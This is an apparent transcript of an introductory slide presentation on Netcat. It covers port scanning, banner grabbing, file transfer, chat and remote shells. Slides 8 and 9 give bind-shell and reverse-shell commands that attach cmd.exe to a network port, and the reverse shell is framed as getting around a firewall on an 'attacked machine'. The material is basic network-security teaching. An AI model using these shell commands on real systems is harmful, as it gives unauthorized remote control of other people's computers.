Netcat is a tool that can be used for port scanning, banner grabbing, file transfer, remote shell access, and chatting over networks using TCP or UDP. It allows viewing open ports on a system through port scanning. Banner grabbing determines the service, version, and OS by connecting to an open port. File transfer and chat are done by setting up Netcat in server and client modes. Remote shell access can be provided through a bind shell, which binds a shell like cmd.exe to a port, or a reverse shell, which sends a shell from the client to a listening Netcat server.

1. - - by Mahesh Bheema

2.  It is a tool that can read and write data across
networks, usingTCP or UDP protocol. It can
be operated both in server and client mode.

3.  Port scanning
 Banner Grabbing
 Backdoor
 File transfer
 Port Redirector
 Chatting and
 Many more…

4.  Port scanning is the process of scanning a
specified host and looking for ports that may
be open or closed.
 Here is the syntax to scan ports…
# nc -v -z IP_Address port_range
-v is for verbosity (without –v it wont display result in output)

5.  Banner grabbing is a technique to determine
the service running or application, version,
operating system. Using the below syntax :
# nc -v IP_Address port
 when you hit enter,After a few seconds you
see some information about your IP address
and port number, then write GET / HTTP/1.1
and hit enter and see some information about
your victim.

6.  File transfer/ chat works by setting up a
server and client.
 FileTransfer
 nc –l –p 1234 > testfile.txt [Reciever’s end]
 nc IP_Address 1234 < testfile.txt [Sender’s end]
 type abc.jpeg | nc –lvp 8080
 nc –l Server_IP 8080 > abc.jpeg
 Chat Server
 nc –l –p 1234 [Reciever’s end]
 nc IP_Address 1234 [Sender’s end]

7.  Netcat has the ability of providing a remote
shell as well. We can do this in two ways…
 1. Bind Shell
 2. Reverse Shell

8.  We can take cmd.exe/shell and bind it to a
local port, and anyone connecting to this port
will be presented with command prompt
belonging to that machine.This is known as a
BIND SHELL. Syntax as follows…
 # nc –l -p 1337 –e cmd.exe [Server]
 # nc –v Server_IP 1337 [Client]

9.  Reverse Shell:
 Netcat can also "send" a shell to another
instance of a listening Netcat session.This is
especially useful if the attacked machine is
behind a firewall or otherwise nat'ed
 # nc –lvp 1337 [Server]
 # nc –v Server_IP 1337 –e cmd.exe [Client]

10.  It's not always the best tool for the job, but if I
was stranded on an island, I'd take Netcat
with me ☺

11.  SpecialThanks to CATechnologies for the
venue.